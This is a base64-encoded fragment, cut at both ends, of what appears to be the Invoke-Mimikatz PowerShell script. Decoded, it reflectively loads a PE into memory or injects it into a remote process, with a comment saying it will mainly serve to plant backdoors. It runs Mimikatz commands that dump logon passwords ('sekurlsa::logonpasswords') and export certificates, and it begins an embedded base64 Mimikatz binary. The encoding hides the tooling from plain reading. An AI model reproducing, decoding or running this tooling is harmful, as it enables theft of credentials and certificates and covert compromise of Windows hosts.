jpaZXJvLCAkRXhlTWFpblB0ciwgW0ludFB0cl06Olplcm8sIChbVUludDMyXTApLCBbUmVmXShbVUludDMyXTApKSB8IE91dC1OdWxsDQoNCgkJCXdoaWxlKCR0cnVlKQ0KCQkJew0KCQkJCVtCeXRlXSRUaHJlYWREb25lID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UmVhZEJ5dGUoJEV4ZURvbmVCeXRlUHRyLCAwKQ0KCQkJCWlmICgkVGhyZWFkRG9uZSAtZXEgMSkNCgkJCQl7DQoJCQkJCUNvcHktQXJyYXlPZk1lbUFkZHJlc3NlcyAtQ29weUluZm8gJE92ZXJ3cml0dGVuTWVtSW5mbyAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMkNvbnN0YW50cyAkV2luMzJDb25zdGFudHMNCgkJCQkJV3JpdGUtVmVyYm9zZSAiRVhFIHRocmVhZCBoYXMgY29tcGxldGVkLiINCgkJCQkJYnJlYWsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJU3RhcnQtU2xlZXAgLVNlY29uZHMgMQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJcmV0dXJuIEAoJFBFSW5mby5QRUhhbmRsZSwgJEVmZmVjdGl2ZVBFSGFuZGxlKQ0KCX0NCgkNCgkNCglGdW5jdGlvbiBJbnZva2UtTWVtb3J5RnJlZUxpYnJhcnkNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9yeT0kdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRQRUhhbmRsZQ0KCQkpDQoJCQ0KCQkjR2V0IFdpbjMyIGNvbnN0YW50cyBhbmQgZnVuY3Rpb25zDQoJCSRXaW4zMkNvbnN0YW50cyA9IEdldC1XaW4zMkNvbnN0YW50cw0KCQkkV2luMzJGdW5jdGlvbnMgPSBHZXQtV2luMzJGdW5jdGlvbnMNCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJUeXBlcw0KCQkNCgkJJFBFSW5mbyA9IEdldC1QRURldGFpbGVkSW5mbyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzIC1XaW4zMkNvbnN0YW50cyAkV2luMzJDb25zdGFudHMNCgkJDQoJCSNDYWxsIEZyZWVMaWJyYXJ5IGZvciBhbGwgdGhlIGltcG9ydHMgb2YgdGhlIERMTA0KCQlpZiAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkltcG9ydFRhYmxlLlNpemUgLWd0IDApDQoJCXsNCgkJCVtJbnRQdHJdJEltcG9ydERlc2NyaXB0b3JQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uUEVIYW5kbGUpIChbSW50NjRdJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkltcG9ydFRhYmxlLlZpcnR1YWxBZGRyZXNzKQ0KCQkJDQoJCQl3aGlsZSAoJHRydWUpDQoJCQl7DQoJCQkJJEltcG9ydERlc2NyaXB0b3IgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkSW1wb3J0RGVzY3JpcHRvclB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IpDQoJCQkJDQoJCQkJI0lmIHRoZSBzdHJ1Y3R1cmUgaXMgbnVsbCwgaXQgc2lnbmFscyB0aGF0IHRoaXMgaXMgdGhlIGVuZCBvZiB0aGUgYXJyYXkNCgkJCQlpZiAoJEltcG9ydERlc2NyaXB0b3IuQ2hhcmFjdGVyaXN0aWNzIC1lcSAwIGANCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuRmlyc3RUaHVuayAtZXEgMCBgDQoJCQkJCQktYW5kICRJbXBvcnREZXNjcmlwdG9yLkZvcndhcmRlckNoYWluIC1lcSAwIGANCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuTmFtZSAtZXEgMCBgDQoJCQkJCQktYW5kICRJbXBvcnREZXNjcmlwdG9yLlRpbWVEYXRlU3RhbXAgLWVxIDApDQoJCQkJew0KCQkJCQlXcml0ZS1WZXJib3NlICJEb25lIHVubG9hZGluZyB0aGUgbGlicmFyaWVzIG5lZWRlZCBieSB0aGUgUEUiDQoJCQkJCWJyZWFrDQoJCQkJfQ0KDQoJCQkJJEltcG9ydERsbFBhdGggPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cmluZ0Fuc2koKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kSW1wb3J0RGVzY3JpcHRvci5OYW1lKSkpDQoJCQkJJEltcG9ydERsbEhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCRJbXBvcnREbGxQYXRoKQ0KDQoJCQkJaWYgKCRJbXBvcnREbGxIYW5kbGUgLWVxICRudWxsKQ0KCQkJCXsNCgkJCQkJV3JpdGUtV2FybmluZyAiRXJyb3IgZ2V0dGluZyBETEwgaGFuZGxlIGluIE1lbW9yeUZyZWVMaWJyYXJ5LCBETExOYW1lOiAkSW1wb3J0RGxsUGF0aC4gQ29udGludWluZyBhbnl3YXlzIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQ0KCQkJCX0NCgkJCQkNCgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5GcmVlTGlicmFyeS5JbnZva2UoJEltcG9ydERsbEhhbmRsZSkNCgkJCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkNCgkJCQl7DQoJCQkJCVdyaXRlLVdhcm5pbmcgIlVuYWJsZSB0byBmcmVlIGxpYnJhcnk6ICRJbXBvcnREbGxQYXRoLiBDb250aW51aW5nIGFueXdheXMuIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQ0KCQkJCX0NCgkJCQkNCgkJCQkkSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkSW1wb3J0RGVzY3JpcHRvclB0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9JTVBPUlRfREVTQ1JJUFRPUikpDQoJCQl9DQoJCX0NCgkJDQoJCSNDYWxsIERsbE1haW4gd2l0aCBwcm9jZXNzIGRldGFjaA0KCQlXcml0ZS1WZXJib3NlICJDYWxsaW5nIGRsbG1haW4gc28gdGhlIERMTCBrbm93cyBpdCBpcyBiZWluZyB1bmxvYWRlZCINCgkJJERsbE1haW5QdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5BZGRyZXNzT2ZFbnRyeVBvaW50KQ0KCQkkRGxsTWFpbkRlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0pIChbQm9vbF0pDQoJCSREbGxNYWluID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJERsbE1haW5QdHIsICREbGxNYWluRGVsZWdhdGUpDQoJCQ0KCQkkRGxsTWFpbi5JbnZva2UoJFBFSW5mby5QRUhhbmRsZSwgMCwgW0ludFB0cl06Olplcm8pIHwgT3V0LU51bGwNCgkJDQoJCQ0KCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZS5JbnZva2UoJFBFSGFuZGxlLCBbVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkNCgkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpDQoJCXsNCgkJCVdyaXRlLVdhcm5pbmcgIlVuYWJsZSB0byBjYWxsIFZpcnR1YWxGcmVlIG9uIHRoZSBQRSdzIG1lbW9yeS4gQ29udGludWluZyBhbnl3YXlzLiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUNCgkJfQ0KCX0NCg0KDQoJRnVuY3Rpb24gTWFpbg0KCXsNCgkJJFdpbjMyRnVuY3Rpb25zID0gR2V0LVdpbjMyRnVuY3Rpb25zDQoJCSRXaW4zMlR5cGVzID0gR2V0LVdpbjMyVHlwZXMNCgkJJFdpbjMyQ29uc3RhbnRzID0gIEdldC1XaW4zMkNvbnN0YW50cw0KCQkNCgkJJFJlbW90ZVByb2NIYW5kbGUgPSBbSW50UHRyXTo6WmVybw0KCQ0KCQkjSWYgYSByZW1vdGUgcHJvY2VzcyB0byBpbmplY3QgaW4gdG8gaXMgc3BlY2lmaWVkLCBnZXQgYSBoYW5kbGUgdG8gaXQNCgkJaWYgKCgkUHJvY0lkIC1uZSAkbnVsbCkgLWFuZCAoJFByb2NJZCAtbmUgMCkgLWFuZCAoJFByb2NOYW1lIC1uZSAkbnVsbCkgLWFuZCAoJFByb2NOYW1lIC1uZSAiIikpDQoJCXsNCgkJCVRocm93ICJDYW4ndCBzdXBwbHkgYSBQcm9jSWQgYW5kIFByb2NOYW1lLCBjaG9vc2Ugb25lIG9yIHRoZSBvdGhlciINCgkJfQ0KCQllbHNlaWYgKCRQcm9jTmFtZSAtbmUgJG51bGwgLWFuZCAkUHJvY05hbWUgLW5lICIiKQ0KCQl7DQoJCQkkUHJvY2Vzc2VzID0gQChHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUpDQoJCQlpZiAoJFByb2Nlc3Nlcy5Db3VudCAtZXEgMCkNCgkJCXsNCgkJCQlUaHJvdyAiQ2FuJ3QgZmluZCBwcm9jZXNzICRQcm9jTmFtZSINCgkJCX0NCgkJCWVsc2VpZiAoJFByb2Nlc3Nlcy5Db3VudCAtZ3QgMSkNCgkJCXsNCgkJCQkkUHJvY0luZm8gPSBHZXQtUHJvY2VzcyB8IHdoZXJlIHsgJF8uTmFtZSAtZXEgJFByb2NOYW1lIH0gfCBTZWxlY3QtT2JqZWN0IFByb2Nlc3NOYW1lLCBJZCwgU2Vzc2lvbklkDQoJCQkJV3JpdGUtT3V0cHV0ICRQcm9jSW5mbw0KCQkJCVRocm93ICJNb3JlIHRoYW4gb25lIGluc3RhbmNlIG9mICRQcm9jTmFtZSBmb3VuZCwgcGxlYXNlIHNwZWNpZnkgdGhlIHByb2Nlc3MgSUQgdG8gaW5qZWN0IGluIHRvLiINCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkUHJvY0lkID0gJFByb2Nlc3Nlc1swXS5JRA0KCQkJfQ0KCQl9DQoJCQ0KCQkjSnVzdCByZWFsaXplZCB0aGF0IFBvd2VyU2hlbGwgbGF1bmNoZXMgd2l0aCBTZURlYnVnUHJpdmlsZWdlIGZvciBzb21lIHJlYXNvbi4uIFNvIHRoaXMgaXNuJ3QgbmVlZGVkLiBLZWVwaW5nIGl0IGFyb3VuZCBqdXN0IGluY2FzZSBpdCBpcyBuZWVkZWQgaW4gdGhlIGZ1dHVyZS4NCgkJI0lmIHRoZSBzY3JpcHQgaXNuJ3QgcnVubmluZyBpbiB0aGUgc2FtZSBXaW5kb3dzIGxvZ29uIHNlc3Npb24gYXMgdGhlIHRhcmdldCwgZ2V0IFNlRGVidWdQcml2aWxlZ2UNCiMJCWlmICgoR2V0LVByb2Nlc3MgLUlkICRQSUQpLlNlc3Npb25JZCAtbmUgKEdldC1Qcm9jZXNzIC1JZCAkUHJvY0lkKS5TZXNzaW9uSWQpDQojCQl7DQojCQkJV3JpdGUtVmVyYm9zZSAiR2V0dGluZyBTZURlYnVnUHJpdmlsZWdlIg0KIwkJCUVuYWJsZS1TZURlYnVnUHJpdmlsZWdlIC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cw0KIwkJfQkNCgkJDQoJCWlmICgoJFByb2NJZCAtbmUgJG51bGwpIC1hbmQgKCRQcm9jSWQgLW5lIDApKQ0KCQl7DQoJCQkkUmVtb3RlUHJvY0hhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5PcGVuUHJvY2Vzcy5JbnZva2UoMHgwMDFGMEZGRiwgJGZhbHNlLCAkUHJvY0lkKQ0KCQkJaWYgKCRSZW1vdGVQcm9jSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykNCgkJCXsNCgkJCQlUaHJvdyAiQ291bGRuJ3Qgb2J0YWluIHRoZSBoYW5kbGUgZm9yIHByb2Nlc3MgSUQ6ICRQcm9jSWQiDQoJCQl9DQoJCQkNCgkJCVdyaXRlLVZlcmJvc2UgIkdvdCB0aGUgaGFuZGxlIGZvciB0aGUgcmVtb3RlIHByb2Nlc3MgdG8gaW5qZWN0IGluIHRvIg0KCQl9DQoJCQ0KDQoJCSNMb2FkIHRoZSBQRSByZWZsZWN0aXZlbHkNCgkJV3JpdGUtVmVyYm9zZSAiQ2FsbGluZyBJbnZva2UtTWVtb3J5TG9hZExpYnJhcnkiDQoNCiAgICAgICAgdHJ5DQogICAgICAgIHsNCiAgICAgICAgICAgICRQcm9jZXNzb3JzID0gR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfUHJvY2Vzc29yDQogICAgICAgIH0NCiAgICAgICAgY2F0Y2gNCiAgICAgICAgew0KICAgICAgICAgICAgdGhyb3cgKCRfLkV4Y2VwdGlvbikNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkUHJvY2Vzc29ycyAtaXMgW2FycmF5XSkNCiAgICAgICAgew0KICAgICAgICAgICAgJFByb2Nlc3NvciA9ICRQcm9jZXNzb3JzWzBdDQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkUHJvY2Vzc29yID0gJFByb2Nlc3NvcnMNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICggKCAkUHJvY2Vzc29yLkFkZHJlc3NXaWR0aCkgLW5lICgoW1N5c3RlbS5JbnRQdHJdOjpTaXplKSo4KSApDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgKCAiQXJjaGl0ZWN0dXJlOiAiICsgJFByb2Nlc3Nvci5BZGRyZXNzV2lkdGggKyAiIFByb2Nlc3M6ICIgKyAoW1N5c3RlbS5JbnRQdHJdOjpTaXplICogOCkpDQogICAgICAgICAgICBXcml0ZS1FcnJvciAiUG93ZXJTaGVsbCBhcmNoaXRlY3R1cmUgKDMyYml0LzY0Yml0KSBkb2Vzbid0IG1hdGNoIE9TIGFyY2hpdGVjdHVyZS4gNjRiaXQgUFMgbXVzdCBiZSB1c2VkIG9uIGEgNjRiaXQgT1MuIiAtRXJyb3JBY3Rpb24gU3RvcA0KICAgICAgICB9DQoNCiAgICAgICAgI0RldGVybWluZSB3aGV0aGVyIG9yIG5vdCB0byB1c2UgMzJiaXQgb3IgNjRiaXQgYnl0ZXMNCiAgICAgICAgaWYgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bSW50UHRyXSkgLWVxIDgpDQogICAgICAgIHsNCiAgICAgICAgICAgIFtCeXRlW11dJFBFQnl0ZXMgPSBbQnl0ZVtdXVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkUEVCeXRlczY0KQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgW0J5dGVbXV0kUEVCeXRlcyA9IFtCeXRlW11dW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRQRUJ5dGVzMzIpDQogICAgICAgIH0NCiAgICAgICAgJFBFQnl0ZXNbMF0gPSAwDQogICAgICAgICRQRUJ5dGVzWzFdID0gMA0KCQkkUEVIYW5kbGUgPSBbSW50UHRyXTo6WmVybw0KCQlpZiAoJFJlbW90ZVByb2NIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQkkUEVMb2FkZWRJbmZvID0gSW52b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IC1QRUJ5dGVzICRQRUJ5dGVzIC1FeGVBcmdzICRFeGVBcmdzDQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkUEVMb2FkZWRJbmZvID0gSW52b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IC1QRUJ5dGVzICRQRUJ5dGVzIC1FeGVBcmdzICRFeGVBcmdzIC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlDQoJCX0NCgkJaWYgKCRQRUxvYWRlZEluZm8gLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQlUaHJvdyAiVW5hYmxlIHRvIGxvYWQgUEUsIGhhbmRsZSByZXR1cm5lZCBpcyBOVUxMIg0KCQl9DQoJCQ0KCQkkUEVIYW5kbGUgPSAkUEVMb2FkZWRJbmZvWzBdDQoJCSRSZW1vdGVQRUhhbmRsZSA9ICRQRUxvYWRlZEluZm9bMV0gI29ubHkgbWF0dGVycyBpZiB5b3UgbG9hZGVkIGluIHRvIGEgcmVtb3RlIHByb2Nlc3MNCgkJDQoJCQ0KCQkjQ2hlY2sgaWYgRVhFIG9yIERMTC4gSWYgRVhFLCB0aGUgZW50cnkgcG9pbnQgd2FzIGFscmVhZHkgY2FsbGVkIGFuZCB3ZSBjYW4gbm93IHJldHVybi4gSWYgRExMLCBjYWxsIHVzZXIgZnVuY3Rpb24uDQoJCSRQRUluZm8gPSBHZXQtUEVEZXRhaWxlZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzDQoJCWlmICgoJFBFSW5mby5GaWxlVHlwZSAtaWVxICJETEwiKSAtYW5kICgkUmVtb3RlUHJvY0hhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pKQ0KCQl7DQoJCQkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkJIyMjIFlPVVIgQ09ERSBHT0VTIEhFUkUNCgkJCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNhbGxpbmcgZnVuY3Rpb24gd2l0aCBXU3RyaW5nIHJldHVybiB0eXBlIg0KCQkJCSAgICBbSW50UHRyXSRXU3RyaW5nRnVuY0FkZHIgPSBHZXQtTWVtb3J5UHJvY0FkZHJlc3MgLVBFSGFuZGxlICRQRUhhbmRsZSAtRnVuY3Rpb25OYW1lICJwb3dlcnNoZWxsX3JlZmxlY3RpdmVfbWltaWthdHoiDQoJCQkJICAgIGlmICgkV1N0cmluZ0Z1bmNBZGRyIC1lcSBbSW50UHRyXTo6WmVybykNCgkJCQkgICAgew0KCQkJCQkgICAgVGhyb3cgIkNvdWxkbid0IGZpbmQgZnVuY3Rpb24gYWRkcmVzcy4iDQoJCQkJICAgIH0NCgkJCQkgICAgJFdTdHJpbmdGdW5jRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0pIChbSW50UHRyXSkNCgkJCQkgICAgJFdTdHJpbmdGdW5jID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFdTdHJpbmdGdW5jQWRkciwgJFdTdHJpbmdGdW5jRGVsZWdhdGUpDQogICAgICAgICAgICAgICAgICAgICRXU3RyaW5nSW5wdXQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxVbmkoJEV4ZUFyZ3MpDQoJCQkJICAgIFtJbnRQdHJdJE91dHB1dFB0ciA9ICRXU3RyaW5nRnVuYy5JbnZva2UoJFdTdHJpbmdJbnB1dCkNCiAgICAgICAgICAgICAgICAgICAgW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFdTdHJpbmdJbnB1dCkNCgkJCQkgICAgaWYgKCRPdXRwdXRQdHIgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQkJCSAgICB7DQoJCQkJICAgIAlUaHJvdyAiVW5hYmxlIHRvIGdldCBvdXRwdXQsIE91dHB1dCBQdHIgaXMgTlVMTCINCgkJCQkgICAgfQ0KCQkJCSAgICBlbHNlDQoJCQkJICAgIHsNCgkJCQkgICAgICAgICRPdXRwdXQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cmluZ1VuaSgkT3V0cHV0UHRyKQ0KCQkJCSAgICAgICAgV3JpdGUtT3V0cHV0ICRPdXRwdXQNCgkJCQkgICAgICAgICRXaW4zMkZ1bmN0aW9ucy5Mb2NhbEZyZWUuSW52b2tlKCRPdXRwdXRQdHIpOw0KCQkJCSAgICB9DQoJCQkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkJIyMjIEVORCBPRiBZT1VSIENPREUNCgkJCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoJCX0NCgkJI0ZvciByZW1vdGUgRExMIGluamVjdGlvbiwgY2FsbCBhIHZvaWQgZnVuY3Rpb24gd2hpY2ggdGFrZXMgbm8gcGFyYW1ldGVycw0KCQllbHNlaWYgKCgkUEVJbmZvLkZpbGVUeXBlIC1pZXEgIkRMTCIpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1uZSBbSW50UHRyXTo6WmVybykpDQoJCXsNCgkJCSRWb2lkRnVuY0FkZHIgPSBHZXQtTWVtb3J5UHJvY0FkZHJlc3MgLVBFSGFuZGxlICRQRUhhbmRsZSAtRnVuY3Rpb25OYW1lICJWb2lkRnVuYyINCgkJCWlmICgoJFZvaWRGdW5jQWRkciAtZXEgJG51bGwpIC1vciAoJFZvaWRGdW5jQWRkciAtZXEgW0ludFB0cl06Olplcm8pKQ0KCQkJew0KCQkJCVRocm93ICJWb2lkRnVuYyBjb3VsZG4ndCBiZSBmb3VuZCBpbiB0aGUgRExMIg0KCQkJfQ0KCQkJDQoJCQkkVm9pZEZ1bmNBZGRyID0gU3ViLVNpZ25lZEludEFzVW5zaWduZWQgJFZvaWRGdW5jQWRkciAkUEVIYW5kbGUNCgkJCSRWb2lkRnVuY0FkZHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkVm9pZEZ1bmNBZGRyICRSZW1vdGVQRUhhbmRsZQ0KCQkJDQoJCQkjQ3JlYXRlIHRoZSByZW1vdGUgdGhyZWFkLCBkb24ndCB3YWl0IGZvciBpdCB0byByZXR1cm4uLiBUaGlzIHdpbGwgcHJvYmFibHkgbWFpbmx5IGJlIHVzZWQgdG8gcGxhbnQgYmFja2Rvb3JzDQoJCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkVm9pZEZ1bmNBZGRyIC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMNCgkJfQ0KCQkNCgkJI0Rvbid0IGZyZWUgYSBsaWJyYXJ5IGlmIGl0IGlzIGluamVjdGVkIGluIGEgcmVtb3RlIHByb2Nlc3MNCgkJaWYgKCRSZW1vdGVQcm9jSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykNCgkJew0KCQkJSW52b2tlLU1lbW9yeUZyZWVMaWJyYXJ5IC1QRUhhbmRsZSAkUEVIYW5kbGUNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSNKdXN0IGRlbGV0ZSB0aGUgbWVtb3J5IGFsbG9jYXRlZCBpbiBQb3dlclNoZWxsIHRvIGJ1aWxkIHRoZSBQRSBiZWZvcmUgaW5qZWN0aW5nIHRvIHJlbW90ZSBwcm9jZXNzDQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZS5JbnZva2UoJFBFSGFuZGxlLCBbVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkNCgkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQ0KCQkJew0KCQkJCVdyaXRlLVdhcm5pbmcgIlVuYWJsZSB0byBjYWxsIFZpcnR1YWxGcmVlIG9uIHRoZSBQRSdzIG1lbW9yeS4gQ29udGludWluZyBhbnl3YXlzLiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUNCgkJCX0NCgkJfQ0KCQkNCgkJV3JpdGUtVmVyYm9zZSAiRG9uZSEiDQoJfQ0KDQoJTWFpbg0KfQ0KDQojTWFpbiBmdW5jdGlvbiB0byBlaXRoZXIgcnVuIHRoZSBzY3JpcHQgbG9jYWxseSBvciByZW1vdGVseQ0KRnVuY3Rpb24gTWFpbg0Kew0KCWlmICgoJFBTQ21kbGV0Lk15SW52b2NhdGlvbi5Cb3VuZFBhcmFtZXRlcnNbIkRlYnVnIl0gLW5lICRudWxsKSAtYW5kICRQU0NtZGxldC5NeUludm9jYXRpb24uQm91bmRQYXJhbWV0ZXJzWyJEZWJ1ZyJdLklzUHJlc2VudCkNCgl7DQoJCSREZWJ1Z1ByZWZlcmVuY2UgID0gIkNvbnRpbnVlIg0KCX0NCgkNCglXcml0ZS1WZXJib3NlICJQb3dlclNoZWxsIFByb2Nlc3NJRDogJFBJRCINCgkNCg0KCWlmICgkUHNDbWRsZXQuUGFyYW1ldGVyU2V0TmFtZSAtaWVxICJEdW1wQ3JlZHMiKQ0KCXsNCgkJJEV4ZUFyZ3MgPSAic2VrdXJsc2E6OmxvZ29ucGFzc3dvcmRzIGV4aXQiDQoJfQ0KICAgIGVsc2VpZiAoJFBzQ21kbGV0LlBhcmFtZXRlclNldE5hbWUgLWllcSAiRHVtcENlcnRzIikNCiAgICB7DQogICAgICAgICRFeGVBcmdzID0gImNyeXB0bzo6Y25nIGNyeXB0bzo6Y2FwaSBgImNyeXB0bzo6Y2VydGlmaWNhdGVzIC9leHBvcnRgIiBgImNyeXB0bzo6Y2VydGlmaWNhdGVzIC9leHBvcnQgL3N5c3RlbXN0b3JlOkNFUlRfU1lTVEVNX1NUT1JFX0xPQ0FMX01BQ0hJTkVgIiBleGl0Ig0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkRXhlQXJncyA9ICRDb21tYW5kDQogICAgfQ0KDQogICAgW1N5c3RlbS5JTy5EaXJlY3RvcnldOjpTZXRDdXJyZW50RGlyZWN0b3J5KCRwd2QpDQoNCiAgICAjIFNIQTI1NiBoYXNoOiAxZTY3NDc2MjgxYzFlYzFjZjQwZTE3ZDdmYzI4YTNhYjMyNTBiNDc0ZWY0MWNiMTBhNzIxMzA5OTBmMGJlNmEwDQoJIyBodHRwczovL3d3dy52aXJ1c3RvdGFsLmNvbS9lbi9maWxlLzFlNjc0NzYyODFjMWVjMWNmNDBlMTdkN2ZjMjhhM2FiMzI1MGI0NzRlZjQxY2IxMGE3MjEzMDk5MGYwYmU2YTAvYW5hbHlzaXMvMTQ1MDE1MjYzNi8NCiAgICAkUEVCeXRlczY0ID0gJ1RWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUFFQUFBNGZ1ZzRBdEFuTkliZ0JUTTBoVkdocGN5QndjbTluY21GdElHTmhibTV2ZENCaVpTQnlkVzRnYVc0Z1JFOVRJRzF2WkdVdURRMEtKQUFBQUFBQUFBRE5QZVBEaVZ5TmtJbGNqWkNKWEkyUVBjQjhrSXhjalpBOXdINlFDMXlOa0QzQWY1Q0VYSTJRYkFXT2tZNWNqWkJzQllpUm5GeU5rR3dGaVpHYlhJMlE3N0pHa0l0Y2paRC93ZmFRajF5TmtJQWtIcENlWEkyUWlWeU1rS3BkalpCN0JZV1J0RnlOa0hzRmpaR0lYSTJRZXdWeWtJaGNqWkI3QlkrUmlGeU5rRkpwWTJpSlhJMlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVFVUFBR1NHQmdBZWhtOVdBQUFBQUFBQUFBRHdBQ0lnQ3dJT0FBQVlCQUFBd2dNQUFBQUFBQnhnQWdBQUVBQUFBQUFBZ0FFQUFBQUFFQUFBQUFJQUFBVUFBZ0FBQUFBQUJRQUNBQUFBQUFBQUlBZ0FBQVFBQUF